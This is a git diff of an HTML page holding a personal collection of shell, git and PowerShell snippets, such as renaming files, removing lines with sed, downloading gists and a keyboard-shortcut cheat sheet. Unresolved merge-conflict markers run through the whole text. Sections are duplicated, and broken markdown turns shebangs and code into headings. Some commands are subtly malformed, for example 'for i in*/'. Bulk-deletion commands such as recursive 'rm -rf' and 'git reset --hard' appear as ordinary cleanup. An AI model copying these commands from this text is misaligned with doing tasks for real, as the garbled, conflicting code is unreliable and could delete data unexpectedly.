           <h1 id="17-replace-space-in-filename-with-underscore">17. Replace space in filename with underscore</h1>
           <h3 id="description-followed-by-replace-with-_-in-directory-name">Description: followed by replace
@@ -545,9 +1232,20 @@ <h3 id="description-followed-by-replace-with-_-in-directory-name">Description: f
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">find . -name &quot;* *&quot; -type f | rename &#39;s/_//g&#39;
 
+=======
+<hr>
+</div>
+          <h2 id="17-replace-space-in-filename-with-underscore">17. Replace space in filename with underscore</h2>
+          <div><h3 id="description-followed-by-replace-with-_-in-directory-name">Description: followed by replace <code>&#39;#&#39; with &#39;_&#39;</code> in directory name</h3>
+<blockquote>
+<p>Notes: Can be re-purposed to find and replace any set of strings in file or folder names.</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name &quot;* *&quot; -type f | rename &#39;s/_//g&#39;
+>>>>>>> master
 find . -name &quot;* *&quot; -type d | rename &#39;s/#/_/g&#39;
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="18-filter-delete-files-by-name-and-extension">18. Filter &amp; delete files by name and extension</h1>
           <h3 id="description">Description</h3>
@@ -557,19 +1255,25 @@ <h3 id="description">Description</h3>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">find . -name &#39;.bin&#39; -type d -prune -exec rm -rf &#39;{}&#39; +
 
+=======
+<hr>
+</div>
+          <h2 id="18-filter-delete-files-by-name-and-extension">18. Filter &amp; delete files by name and extension</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name &#39;.bin&#39; -type d -prune -exec rm -rf &#39;{}&#39; +
+>>>>>>> master
 find . -name &#39;*.html&#39; -type d -prune -exec rm -rf &#39;{}&#39; +
-
 find . -name &#39;nav-index&#39; -type d -prune -exec rm -rf &#39;{}&#39; +
-
 find . -name &#39;node-gyp&#39; -type d -prune -exec rm -rf &#39;{}&#39; +
-
 find . -name &#39;deleteme.txt&#39; -type f -prune -exec rm -rf &#39;{}&#39; +
-
 find . -name &#39;right.html&#39; -type f -prune -exec rm -rf &#39;{}&#39; +
-
 find . -name &#39;left.html&#39; -type f -prune -exec rm -rf &#39;{}&#39; +
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="19-remove-lines-containing-string">19. Remove lines containing string</h1>
           <h3 id="description">Description</h3>
@@ -592,9 +1296,24 @@ <h6 id="code">code</h6>
 sudo sed -i &#39;/github\.com/d&#39; ./*out.md
 
 
+=======
+<hr>
+</div>
+          <h2 id="19-remove-lines-containing-string">19. Remove lines containing string</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes: Remove lines not containing <code>&#39;.js&#39;</code></p>
+<pre><code class="lang-bash">sudo sed -i &#39;/\.js/!d&#39; ./*scrap2.md
+</code></pre>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo sed -i &#39;/githubusercontent/d&#39; ./*sandbox.md
+sudo sed -i &#39;/githubusercontent/d&#39; ./*scrap2.md
+sudo sed -i &#39;/github\.com/d&#39; ./*out.md
+>>>>>>> master
 sudo sed -i &#39;/author/d&#39; ./*
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="20-remove-duplicate-lines-from-a-text-file">20. Remove duplicate lines from a text file</h1>
           <h3 id="description">Description</h3>
@@ -611,9 +1330,24 @@ <h3 id="description">Description</h3>
             kt.txt which contains repeated lines that needs to be omitted. This can simply be done with uniq.</p>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">sudo apt install uniq
+=======
+<hr>
+</div>
+          <h2 id="20-remove-duplicate-lines-from-a-text-file">20. Remove duplicate lines from a text file</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:
+//...syntax of uniq...//
+$uniq [OPTION] [INPUT[OUTPUT]]
+The syntax of this is quite easy to understand. Here, INPUT refers to the input file in which repeated lines need to be filtered out and if INPUT isn&#39;t specified then uniq reads from the standard input. OUTPUT refers to the output file in which you can store the filtered output generated by uniq command and as in case of INPUT if OUTPUT isn&#39;t specified then uniq writes to the standard output.
+Now, let&#39;s understand the use of this with the help of an example. Suppose you have a text file named kt.txt which contains repeated lines that needs to be omitted. This can simply be done with uniq.</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo apt install uniq
+>>>>>>> master
 uniq -u input.txt output.txt
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="21-remove-lines-containing-string">21. Remove lines containing string</h1>
           <h3 id="description">Description</h3>
@@ -627,27 +1361,40 @@ <h6 id="code">code</h6>
 sudo sed -i &#39;/githubusercontent/d&#39; ./*scrap2.md
 
 
+=======
+<hr>
+</div>
+          <h2 id="21-remove-lines-containing-string">21. Remove lines containing string</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo sed -i &#39;/githubusercontent/d&#39; ./*sandbox.md
+sudo sed -i &#39;/githubusercontent/d&#39; ./*scrap2.md
+>>>>>>> master
 sudo sed -i &#39;/github\.com/d&#39; ./*out.md
-
 ---
 title: add_days
 tags: date,intermediate
 firstSeen: 2020-10-28T16:19:04+02:00
 lastUpdated: 2020-10-28T16:19:04+02:00
 ---
-
 sudo sed -i &#39;/title:/d&#39; ./*output.md
 sudo sed -i &#39;/firstSeen/d&#39; ./*output.md
 sudo sed -i &#39;/lastUpdated/d&#39; ./*output.md
 sudo sed -i &#39;/tags:/d&#39; ./*output.md
-
 sudo sed -i &#39;/badstring/d&#39; ./*
+<<<<<<< HEAD
 
 
+=======
+>>>>>>> master
 sudo sed -i &#39;/stargazers/d&#39; ./repo.txt
 sudo sed -i &#39;/node_modules/d&#39; ./index.html
 sudo sed -i &#39;/right\.html/d&#39; ./index.html
 sudo sed -i &#39;/right\.html/d&#39; ./right.html
+<<<<<<< HEAD
 
 
 
@@ -685,10 +1432,49 @@ <h3 id="description">Description</h3>
           </blockquote>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh">find . | xargs grep -l www.redhat.com | awk &#39;{print &quot;rm &quot;$1}&#39; &gt; doit.sh
+=======
+</code></pre>
+<hr>
+</div>
+          <h2 id="22-zip-directory-excluding-git-and-node-modules-all-the-way-down-linux">22. Zip directory excluding .git and node_modules all the way down (Linux</h2>
+          <div><p>)</p>
+<h3 id="descriptio-zip-up-an-entire-git-directory">Descriptio: zip up an entire git directory</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash</p>
+<h1 id="-bin-bash">!/bin/bash</h1>
+<p>TSTAMP=<code>date &#39;+%Y%m%d-%H%M%S&#39;</code>
+zip -r $1.$TSTAMP.zip $1 -x &quot;<strong>.git/*&quot; -x &quot;</strong>node_modules/*&quot; <code>shift; echo $@;</code>
+printf &quot;\nCreated: $1.$TSTAMP.zip\n&quot;</p>
+</div>
+          <h2 id="usage">usage</h2>
+          <div><p>:</p>
+</div>
+          <h2 id="zipdir-thedir">- zipdir thedir</h2>
+          <div></div>
+          <h2 id="zip-thedir-x-anotherexcludedsubdir-important-the-double-quotes-to-prevent-glob-expansion">- zip thedir -x &quot;anotherexcludedsubdir&quot;    (important the double quotes to prevent glob expansion</h2>
+          <div><p>)</p>
+</div>
+          <h2 id="if-in-windows-git-bash-add-zip-command-this-way">if in windows/git-bash, add 'zip' command this way</h2>
+          <div><p>:</p>
+</div>
+          <h2 id="https-stackoverflow-com-a-55749636-1482990">https://stackoverflow.com/a/55749636/1482990</h2>
+          <div><h2 id="-"><code>`</code></h2>
+</div>
+          <h2 id="23-delete-files-containing-a-certain-string">23. Delete files containing a certain string</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . | xargs grep -l www.redhat.com | awk &#39;{print &quot;rm &quot;$1}&#39; &gt; doit.sh
+>>>>>>> master
 vi doit.sh // check for murphy and his law
 source doit.sh
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="24">24</h1>
           <h3 id="description">Description</h3>
@@ -728,6 +1514,38 @@ <h6 id="code">code</h6>
   echo &#39;&lt;style&gt;&#39;
 
 
+=======
+<hr>
+</div>
+          <h2 id="24-generate-sitemap">24 Generate sitemap</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes: bash command to auto generate sitemap.html which will list all files contained within parent directory.</p>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash</p>
+<h1 id="-bin-sh">!/bin/sh</h1>
+</div>
+          <h2 id="find-grep-i-files">find ./ | grep -i &quot;\.*$&quot; &gt;files</h2>
+          <div><p>find ./ | sed -E -e &#39;s/([^ ]+[ ]+){8}//&#39; | grep -i &quot;.*$&quot;&gt;files
+listing=&quot;files&quot;
+out=&quot;&quot;
+html=&quot;index.html&quot;
+out=&quot;basename $out.html&quot;
+html=&quot;index.html&quot;
+cmd() {
+  echo &#39;  &lt;!DOCTYPE html&gt;&#39;
+  echo &#39;<html>&#39;
+  echo &#39;<head>&#39;
+  echo &#39;  <meta http-equiv="Content-Type" content="text/html">&#39;
+  echo &#39;  <meta name="Author" content="Bryan Guner">&#39;
+  echo &#39;<link rel="stylesheet" href="./assets/prism.css">&#39;
+  echo &#39; <link rel="stylesheet" href="./assets/style.css">&#39;
+  echo &#39; <script async defer src="./assets/prism.js"></script>&#39;
+  echo &quot;  <title> directory </title>&quot;
+  echo &quot;&quot;
+  echo &#39;<style>&#39;
+>>>>>>> master
 echo &#39;    a {&#39;
 echo &#39;      color: black;&#39;
 echo &#39;    }&#39;
@@ -760,6 +1578,7 @@ <h6 id="code">code</h6>
 echo &#39;      -ms-border-radius: 10px;&#39;
 echo &#39;      -o-border-radius: 10px;&#39;
 echo &#39;    }&#39;
+<<<<<<< HEAD
 echo &#39;  &lt;/style&gt;&#39;
   echo &#39;&lt;/head&gt;&#39;
 
@@ -987,9 +1806,112 @@ <h6 id="code">code</h6>
 wget -q -O - https://api.github.com/users/amitness/gists | grep raw_url | awk -F\&quot; &#39;{print $4}&#39; | xargs -n3 wget
 
 
+=======
+echo &#39;  </style>&#39;
+  echo &#39;</head>&#39;
+  echo &#39;<body>&#39;
+  echo &quot;&quot;</p>
+<h1 id="continue-with-the-html-stuff">continue with the HTML stuff</h1>
+<p>  echo &quot;&quot;
+  echo &quot;&quot;
+  echo &quot;<ul>&quot;
+  awk &#39;{print &quot;&lt;iframe src=\&quot;&quot;$1&quot;\&quot;&gt;&quot;,&quot;</iframe>&quot;}&#39; $listing</p>
+<h1 id="awk-print-li-">awk &#39;{print &quot;<li>&quot;};</h1>
+<h1 id="-print-a-href-1-1-a-li-listing">{print &quot; &lt;a href=\&quot;&quot;$1&quot;\&quot;&gt;&quot;,$1,&quot;</a></li>&nbsp;&quot;}&#39; \ $listing</h1>
+<p>  echo &quot;&quot;
+  echo &quot;</ul>&quot;
+  echo &quot;</body>&quot;
+  echo &quot;</html>&quot;
+}
+cmd $listing --sort=extension &gt;&gt;$html</p>
+<h2 id="-"><code>`</code></h2>
+</div>
+          <h2 id="25-index-of-iframes">25. Index of Iframes</h2>
+          <div><h3 id="description-creates-an-index-html-file-that-contains-all-the-files-in-the-working-directory-or-any-of-it-s-sub-folders-as-iframes-instead-of-anchor-tags">Description: Creates an index.html file that contains all the files in the working directory or any of it&#39;s sub folders as iframes instead of anchor tags</h3>
+<blockquote>
+<p>Notes: Useful Follow up Code:</p>
+<pre><code class="lang-bash">
+</code></pre>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash</p>
+<h1 id="-bin-sh">!/bin/sh</h1>
+</div>
+          <h2 id="26-filter-corrupted-git-repo-for-troublesome-file">26. Filter Corrupted Git Repo For Troublesome File</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git filter-branch --index-filter &#39;git rm -r --cached --ignore-unmatch assets/_index.html&#39; HEAD
+</code></pre>
+<hr>
+</div>
+          <h2 id="27-overwrite-local-changes">27. OVERWRITE LOCAL CHANGES</h2>
+          <div><h3 id="description">Description</h3>
+<p>Important: If you have any local changes, they will be lost. With or without --hard option, any local commits that haven&#39;t been pushed will be lost.[*]
+If you have any files that are not tracked by Git (e.g. uploaded user content), these files will not be affected.</p>
+<blockquote>
+<p>Notes:
+First, run a fetch to update all origin/<branch> refs to latest:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash
+git fetch --all</p>
+</div>
+          <h2 id="backup-your-current-branch">Backup your current branch</h2>
+          <div><p>:
+git branch backup-master</p>
+</div>
+          <h2 id="then-you-have-two-options">Then, you have two options</h2>
+          <div><p>:
+git reset --hard origin/master</p>
+</div>
+          <h2 id="or-if-you-are-on-some-other-branch">OR If you are on some other branch</h2>
+          <div><p>:
+git reset --hard origin/&lt;branch_name&gt;</p>
+</div>
+          <h2 id="explanation">Explanation</h2>
+          <div><p>:</p>
+</div>
+          <h2 id="git-fetch-downloads-the-latest-from-remote-without-trying-to-merge-or-rebase-anything">git fetch downloads the latest from remote without trying to merge or rebase anything</h2>
+          <div><p>.</p>
+</div>
+          <h2 id="then-the-git-reset-resets-the-master-branch-to-what-you-just-fetched-the-hard-option-changes-all-the-files-in-your-working-tree-to-match-the-files-in-origin-master">Then the git reset resets the master branch to what you just fetched. The --hard option changes all the files in your working tree to match the files in origin/master</h2>
+          <div><p>git fetch --all
+git reset --hard origin/master</p>
+<h2 id="-"><code>`</code></h2>
+</div>
+          <h2 id="28-remove-submodules">28. Remove Submodules</h2>
+          <div><h3 id="description-to-remove-a-submodule-you-need-to">Description: To remove a submodule you need to</h3>
+<blockquote>
+<p>Notes:
+Delete the relevant section from the .gitmodules file.
+Stage the .gitmodules changes git add .gitmodules
+Delete the relevant section from .git/config.
+Run git rm --cached path_to_submodule (no trailing slash).
+Run rm -rf .git/modules/path_to_submodule (no trailing slash).
+Commit git commit -m &quot;Removed submodule &quot;
+Delete the now untracked submodule files rm -rf path_to_submodule</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git submodule deinit
+</code></pre>
+<hr>
+</div>
+          <h2 id="29-get-gists">29. GET GISTS</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo apt install wget
+wget -q -O - https://api.github.com/users/bgoonz/gists | grep raw_url | awk -F\&quot; &#39;{print $4}&#39; | xargs -n3 wget
+wget -q -O - https://api.github.com/users/amitness/gists | grep raw_url | awk -F\&quot; &#39;{print $4}&#39; | xargs -n3 wget
+>>>>>>> master
 wget -q -O - https://api.github.com/users/drodsou/gists | grep raw_url | awk -F\&quot; &#39;{print $4}&#39; | xargs -n1 wget
-
 wget -q -O - https://api.github.com/users/thomasmb/gists | grep raw_url | awk -F\&quot; &#39;{print $4}&#39; | xargs -n1 wget
+<<<<<<< HEAD
 
 
 </code></pre>
@@ -1037,6 +1959,51 @@ <h3 id="description-es5-es6">Description: ES5 --&gt; ES6</h3>
           <h6 id="code">code</h6>
           <pre><code class="lang-sh"># Safe:
 
+=======
+</code></pre>
+<hr>
+</div>
+          <h2 id="30-remove-remote-origin-l">30. Remove Remote OriginL</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git remote remove origin
+</code></pre>
+<hr>
+</div>
+          <h2 id="31-just-clone-git-folder">31. just clone .git folder</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git clone --bare --branch=master --single-branch https://github.com/bgoonz/My-Web-Dev-Archive.git
+</code></pre>
+<hr>
+</div>
+          <h2 id="32-undo-recent-pull-request">32. Undo recent pull request</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">git reset --hard master@{&quot;10 minutes ago&quot;}
+</code></pre>
+<hr>
+</div>
+          <h2 id="33-lebab">33. Lebab</h2>
+          <div><h3 id="description-es5-es6">Description: ES5 --&gt; ES6</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash</p>
+</div>
+          <h2 id="safe">Safe</h2>
+          <div><p>:
+>>>>>>> master
  lebab --replace ./ --transform arrow
  lebab --replace ./ --transform arrow-return
  lebab --replace ./ --transform for-of
@@ -1045,12 +2012,19 @@ <h6 id="code">code</h6>
  lebab --replace ./ --transform arg-spread
  lebab --replace ./ --transform obj-method
  lebab --replace ./ --transform obj-shorthand
+<<<<<<< HEAD
  lebab --replace ./ --transform multi-var
 
 
 # ALL:
 
 
+=======
+ lebab --replace ./ --transform multi-var</p>
+</div>
+          <h2 id="all">ALL</h2>
+          <div><p>:
+>>>>>>> master
 lebab --replace ./ --transform obj-method
 lebab --replace ./ --transform class
 lebab --replace ./ --transform arrow
@@ -1079,6 +2053,7 @@ <h6 id="code">code</h6>
 lebab --replace ./ --transform template
 lebab --replace ./ --transform default-param
 lebab --replace ./ --transform  destruct-param
+<<<<<<< HEAD
 lebab --replace ./ --transform includes
 
 
@@ -1125,9 +2100,44 @@ <h6 id="code">code</h6>
 
 
 
+=======
+lebab --replace ./ --transform includes</p>
+<h2 id="-"><code>`</code></h2>
+</div>
+          <h2 id="34-troubleshoot-ubuntu-input-output-error">34. Troubleshoot Ubuntu Input/Output Error</h2>
+          <div><h3 id="description-open-powershell-as-administrator">Description: Open Powershell as Administrator</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-ps1"> wsl.exe --shutdown
+ Get-Service LxssManager | Restart-Service
+</code></pre>
+<hr>
+</div>
+          <h2 id="35-export-medium-as-markdown">35. Export Medium as Markdown</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">npm i mediumexporter -g
+mediumexporter https://medium.com/codex/fundamental-data-structures-in-javascript-8f9f709c15b4 &gt;ds.md
+</code></pre>
+<hr>
+</div>
+          <h2 id="36-delete-files-in-violation-of-a-given-size-range-100-mb-for-git">36. Delete files in violation of a given size range (100MB for git</h2>
+          <div><p>)</p>
+<h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -size +75M -a -print -a -exec rm -f {} \;
+>>>>>>> master
 find . -size +98M -a -print -a -exec rm -f {} \;
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="37-download-all-links-of-given-file-type">37. download all links of given file type</h1>
           <h3 id="description">Description</h3>
@@ -1163,9 +2173,37 @@ <h6 id="code">code</h6>
 
 
 
+=======
+<hr>
+</div>
+          <h2 id="37-download-all-links-of-given-file-type">37. download all links of given file type</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">wget -r -A.pdf https://overapi.com/git
+</code></pre>
+<hr>
+</div>
+          <h2 id="38-kill-all-node-processes">38. Kill all node processes</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">killall -s KILL node
+</code></pre>
+<hr>
+</div>
+          <h2 id="39-remove-string-from-file-names-recursively">39. Remove string from file names recursively</h2>
+          <div><h3 id="description-in-the-example-below-i-am-using-this-command-to-remove-the-string-master-from-all-file-names-in-the-working-directory-and-all-of-it-s-sub-directories">Description: In the example below I am using this command to remove the string &quot;-master&quot; from all file names in the working directory and all of it&#39;s sub directories</h3>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find &lt;mydir&gt; -type f -exec sed -i &#39;s/&lt;string1&gt;/&lt;string2&gt;/g&#39; {} +
+>>>>>>> master
 find . -type f -exec rename &#39;s/-master//g&#39; {} +
-
 </code></pre>
+<<<<<<< HEAD
           <blockquote>
             <p>Notes: The same could be done for folder names by changing the <em>-type f</em> flag (for file) to a
               <em>-type d</em> flag (for directory)</p>
@@ -1212,17 +2250,53 @@ <h3 id="description">Description</h3>
           <h6 id="code">code</h6>
           <pre><code class="lang-ps1">
 PARAM (
+=======
+<blockquote>
+<p>Notes: The same could be done for folder names by changing the<em>-type f</em>flag (for file) to a<em>-type d</em>flag (for directory)
+<code>`</code>bash
+find <mydir> -type d -exec sed -i &#39;s/<string1>/<string2>/g&#39; {} +
+find . -type d -exec rename &#39;s/-master//g&#39; {} +</p>
+</blockquote>
+<h2 id="-"><code>`</code></h2>
+</div>
+          <h2 id="40-remove-spaces-from-file-and-folder-names-recursively">40. Remove spaces from file and folder names recursively</h2>
+          <div><h3 id="description-replaces-spaces-in-file-and-folder-names-with-an-_-underscore">Description: replaces spaces in file and folder names with an <code>_</code> underscore</h3>
+<blockquote>
+<p>Notes: need to run <code>sudo apt install rename</code> to use this command</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name &quot;* *&quot; -type d | rename &#39;s/ /_/g&#39;
+find . -name &quot;* *&quot; -type f | rename &#39;s/ /_/g&#39;
+</code></pre>
+<hr>
+</div>
+          <h2 id="41-zip-each-subdirectories-in-a-given-directory-into-their-own-zip-file">41. Zip Each subdirectories in a given directory into their own zip file</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">for i in*/; do zip -r &quot;${i%/}.zip&quot; &quot;$i&quot;; done
+</code></pre>
+<hr>
+</div>
+          <h2 id="91-unzip-power-shell">91. Unzip PowerShell</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-ps1">PARAM (
+>>>>>>> master
     [string] $ZipFilesPath = &quot;./&quot;,
     [string] $UnzipPath = &quot;./RESULT&quot;
 )
-
 $Shell = New-Object -com Shell.Application
 $Location = $Shell.NameSpace($UnzipPath)
-
 $ZipFiles = Get-Childitem $ZipFilesPath -Recurse -Include *.ZIP
-
 $progress = 1
 foreach ($ZipFile in $ZipFiles) {
+<<<<<<< HEAD
     Write-Progress -Activity &quot;Unzipping to $($UnzipPath)&quot; -PercentComplete (($progress / ($ZipFiles.Count + 1)) * 100) -CurrentOperation $ZipFile.FullName -Status &quot;File $($Progress) of $($ZipFiles.Count)&quot;
     $ZipFolder = $Shell.NameSpace($ZipFile.fullname)
 
@@ -1253,9 +2327,36 @@ <h6 id="code">code</h6>
           <pre><code class="lang-sh">
 ln -s &quot;$(pwd)&quot; ~/NameOfLink
 
+=======
+Write-Progress -Activity &quot;Unzipping to $($UnzipPath)&quot; -PercentComplete (($progress / ($ZipFiles.Count + 1))* 100) -CurrentOperation $ZipFile.FullName -Status &quot;File $($Progress) of $($ZipFiles.Count)&quot;
+    $ZipFolder = $Shell.NameSpace($ZipFile.fullname)
+    $Location.Copyhere($ZipFolder.items(), 1040) # 1040 - No msgboxes to the user - https://msdn.microsoft.com/library/bb787866%28VS.85%29.aspx
+    $progress++
+}
+</code></pre>
+<hr>
+</div>
+          <h2 id="92-return-to-bash-from-zsh">92. return to bash from zsh</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash"> sudo apt --purge remove zsh
+</code></pre>
+<hr>
+</div>
+          <h2 id="93-symbolic-link">93. Symbolic Link</h2>
+          <div><h3 id="description-to-working-directory">Description: to working directory</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">ln -s &quot;$(pwd)&quot; ~/NameOfLink
+>>>>>>> master
 ln -s &quot;$(pwd)&quot; ~/Downloads
-
 </code></pre>
+<<<<<<< HEAD
           <hr>
           <h1 id="94-auto-generate-readme">94. auto generate readme</h1>
           <h3 id="description-rename-existing-readme-to-blueprint-md">Description: rename existing readme to
@@ -2451,6 +3552,1186 @@ <h2 id="🧐-whats-inside">🧐 What's inside</h2>
 ├── package-lock.json
 ├── package.json
 └── README.md
+=======
+<hr>
+</div>
+          <h2 id="94-auto-generate-readme">94. auto generate readme</h2>
+          <div><h3 id="description-rename-existing-readme-to-blueprint-md">Description: rename existing readme to blueprint.md</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">npx @appnest/readme generate
+</code></pre>
+<hr>
+</div>
+          <h2 id="95-log-into-postgres">95. Log into postgres</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">sudo -u postgres psql
+</code></pre>
+<hr>
+</div>
+          <h2 id="96-url-to-subscribe-to-you-tube-channel">96. URL To Subscribe To YouTube Channel</h2>
+          <div></div>
+          <h2 id="description">Description</h2>
+          <div><blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-txt">https://www.youtube.com/channel/UC1HDa0wWnIKUf-b4yY9JecQ?sub_confirmation=1
+</code></pre>
+<hr>
+</div>
+          <h2 id="97-embed-repl-it-in-medium-post">97. Embed Repl.it In Medium Post</h2>
+          <div><h6 id="code">code</h6>
+<pre><code class="lang-txt">https://repl.it/@bgoonz/Data-Structures-Algos-Codebase?lite=true&amp;amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+https://repl.it/@bgoonz/node-db1-project?lite=true&amp;amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+https://repl.it/@bgoonz/interview-prac?lite=true&amp;amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+https://repl.it/@bgoonz/Database-Prac?lite=true&amp;amp;referrer=https%3A%2F%2Fbryanguner.medium.com
+</code></pre>
+<hr>
+</div>
+          <h2 id="98-r-rmove-text-target-parent-from-files-called-right-html">98 rRmove text target=&quot;parent&quot; from files called right.html</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<pre><code class="lang-bash">find . -name *right.html  -type f -exec sed -i &#39;s/target=&quot;_parent&quot;//g&#39; {} +
+find . -name*right.html  -type f -exec sed -i &#39;s/target=&quot;_parent&quot;//g&#39; {} +
+</code></pre>
+</div>
+          <h2 id="99-cheat-sheet">99. Cheat Sheet</h2>
+          <div><h3 id="description">Description</h3>
+<blockquote>
+<p>Notes:</p>
+</blockquote>
+<h6 id="code">code</h6>
+<p><code>`</code>bash</p>
+<h1 id="-bin-bash">!/bin/bash</h1>
+<p>revert</p>
+</div>
+          <h2 id="shortcuts-and-history">SHORTCUTS and HISTORY</h2>
+          <div><p>CTRL+A  # move to beginning of line
+CTRL+B  # moves backward one character
+CTRL+C  # halts the current command
+CTRL+D  # deletes one character backward or logs out of current session, similar to exit
+CTRL+E  # moves to end of line
+CTRL+F  # moves forward one character
+CTRL+G  # aborts the current editing command and ring the terminal bell
+CTRL+H  # deletes one character under cursor (same as DELETE)
+CTRL+J  # same as RETURN
+CTRL+K  # deletes (kill) forward to end of line
+CTRL+L  # clears screen and redisplay the line
+CTRL+M  # same as RETURN
+CTRL+N  # next line in command history
+CTRL+O  # same as RETURN, then displays next line in history file
+CTRL+P  # previous line in command history
+CTRL+Q  # resumes suspended shell output
+CTRL+R  # searches backward
+CTRL+S  # searches forward or suspends shell output
+CTRL+T  # transposes two characters
+CTRL+U  # kills backward from point to the beginning of line
+CTRL+V  # makes the next character typed verbatim
+CTRL+W  # kills the word behind the cursor
+CTRL+X  # lists the possible filename completions of the current word
+CTRL+Y  # retrieves (yank) last item killed
+CTRL+Z  # stops the current command, resume with fg in the foreground or bg in the background
+ALT+B   # moves backward one word
+ALT+D   # deletes next word
+ALT+F   # moves forward one word
+ALT+H   # deletes one character backward
+ALT+T   # transposes two words
+ALT+.   # pastes last word from the last command. Pressing it repeatedly traverses through command history.
+ALT+U   # capitalizes every character from the current cursor position to the end of the word
+ALT+L   # uncapitalizes every character from the current cursor position to the end of the word
+ALT+C   # capitalizes the letter under the cursor. The cursor then moves to the end of the word.
+ALT+R   # reverts any changes to a command you&#39;ve pulled from your history if you&#39;ve edited it.
+ALT+?   # list possible completions to what is typed
+ALT+^   # expand line to most recent match from history
+CTRL+X then (   # start recording a keyboard macro
+CTRL+X then )   # finish recording keyboard macro
+CTRL+X then E   # recall last recorded keyboard macro
+CTRL+X then CTRL+E   # invoke text editor (specified by $EDITOR) on current command line then execute resultes as shell commands
+BACKSPACE  # deletes one character backward
+DELETE     # deletes one character under cursor
+history   # shows command line history
+!!        # repeats the last command
+!<n>      # refers to command line &#39;n&#39;
+!<string> # refers to command starting with &#39;string&#39;
+exit      # logs out of current session</p>
+</div>
+          <h2 id="bash-basics">BASH BASICS</h2>
+          <div><p>env                 # displays all environment variables
+echo $SHELL         # displays the shell you&#39;re using
+echo $BASH_VERSION  # displays bash version
+bash                # if you want to use bash (type exit to go back to your previously opened shell)
+whereis bash        # locates the binary, source and manual-page for a command
+which bash          # finds out which program is executed as &#39;bash&#39; (default: /bin/bash, can change across environments)
+clear               # clears content on window (hide displayed lines)</p>
+</div>
+          <h2 id="file-commands">FILE COMMANDS</h2>
